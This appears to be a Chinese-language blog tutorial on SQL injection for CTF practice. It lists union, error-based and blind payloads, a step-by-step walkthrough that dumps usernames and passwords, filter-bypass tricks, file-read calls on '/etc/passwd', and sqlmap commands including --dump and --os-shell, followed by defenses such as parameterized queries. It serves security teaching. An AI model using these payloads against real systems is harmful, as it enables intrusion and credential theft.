主页 > 游戏开发  > 

SQL注入(SQLInjection)详解与实战

SQL注入(SQLInjection)详解与实战

文章目录 一、什么是SQL注入?二、常见SQL注入类型三、手动注入步骤(以CTF题目为例)四、CTF实战技巧五、自动化工具:SQLMap六、防御措施七、CTF例题八、资源推荐

一、什么是SQL注入?

SQL注入是一种通过用户输入构造恶意SQL语句,干扰后端数据库查询逻辑的攻击方式。攻击者可通过注入获取敏感数据、篡改数据库或执行系统命令。


二、常见SQL注入类型

联合查询注入(Union-Based) 利用UNION SELECT拼接查询结果,直接回显数据。

' UNION SELECT username, password FROM users--

报错注入(Error-Based) 通过触发数据库报错泄露信息(如MySQL的updatexml或extractvalue)。

' AND updatexml(1, concat(0x7e, (SELECT user())), 1)--

布尔盲注(Boolean-Based Blind) 通过页面返回的真假状态推断数据(如返回内容差异或HTTP状态码)。

' AND (SELECT SUBSTR(password,1,1) FROM users WHERE id=1)='a'--

时间盲注(Time-Based Blind) 通过延时响应判断条件是否成立(如MySQL的sleep())。

' AND IF(1=1, SLEEP(5), 0)--


三、手动注入步骤(以CTF题目为例)

检测注入点

输入单引号'触发数据库错误(如You have an error in your SQL syntax)。

测试逻辑条件:

id=1' AND 1=1-- (页面正常) id=1' AND 1=2-- (页面异常)

确定字段数(ORDER BY)

' ORDER BY 3-- (无报错) ' ORDER BY 4-- (报错→字段数为3)

联合查询获取数据

' UNION SELECT 1,2,3-- (确定回显位) ' UNION SELECT database(), user(), version()--

提取表名与列名

' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database()-- ' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='users'--

获取敏感数据

' UNION SELECT 1, username, password FROM users--


四、CTF实战技巧

绕过过滤

大小写绕过:UnIoN SeLeCt(部分过滤器不区分大小写)。注释符:-- (空格)、#、/*...*/。编码绕过:URL编码(%27代替')、十六进制(0x...)。空格绕过:用/**/或+代替空格(如UNION/**/SELECT)。

利用字符串拼接

MySQL:'||'1'='1' → ' OR '1'='1。SQLite:'||1=1-- 。

利用数据库特性

MySQL:LOAD_FILE('/etc/passwd')读取文件。PostgreSQL:pg_read_file('/etc/passwd')。SQLite:sqlite_version()获取版本。
五、自动化工具:SQLMap

基本用法

sqlmap -u "http://target /page?id=1" --dbs # 获取所有数据库名 sqlmap -u "http://target /page?id=1" -D dbname --tables # 获取表名 sqlmap -u "http://target /page?id=1" -D dbname -T users --dump # 导出数据

高级参数

--level=3:提高检测等级(包含Cookie注入)。--risk=3:允许高风险操作(如文件写入)。--os-shell:尝试获取系统Shell(需高权限)。
六、防御措施

参数化查询(预编译)

Python

# Python示例(使用SQLAlchemy) result = db.session.execute('SELECT * FROM users WHERE id = :id', {'id': user_id})

输入过滤

过滤特殊字符(' " ; --)。限制输入类型(如数字类型强制转换为整数)。

最小权限原则

数据库用户仅授予必要权限(禁止FILE、EXECUTE等)。
七、CTF例题

题目:登录页面存在SQL注入,获取管理员密码。

SQL

' OR 1=1 -- ' UNION SELECT null, password FROM users WHERE username='admin'--

题目:过滤了空格和UNION,利用盲注获取数据。

SQL

'||(SELECT CASE WHEN (SUBSTR(password,1,1)='a') THEN SLEEP(5) ELSE 0 END FROM users)#


八、资源推荐 练习平台: PortSwigger SQLi Labs( portswigger.net/web-security/sql-injection)SQLi Labs(GitHub开源靶场) 深入阅读: 《SQL注入攻击与防御(第2版)》OWASP SQL Injection Cheat Sheet
标签:

SQL注入(SQLInjection)详解与实战由讯客互联游戏开发栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“SQL注入(SQLInjection)详解与实战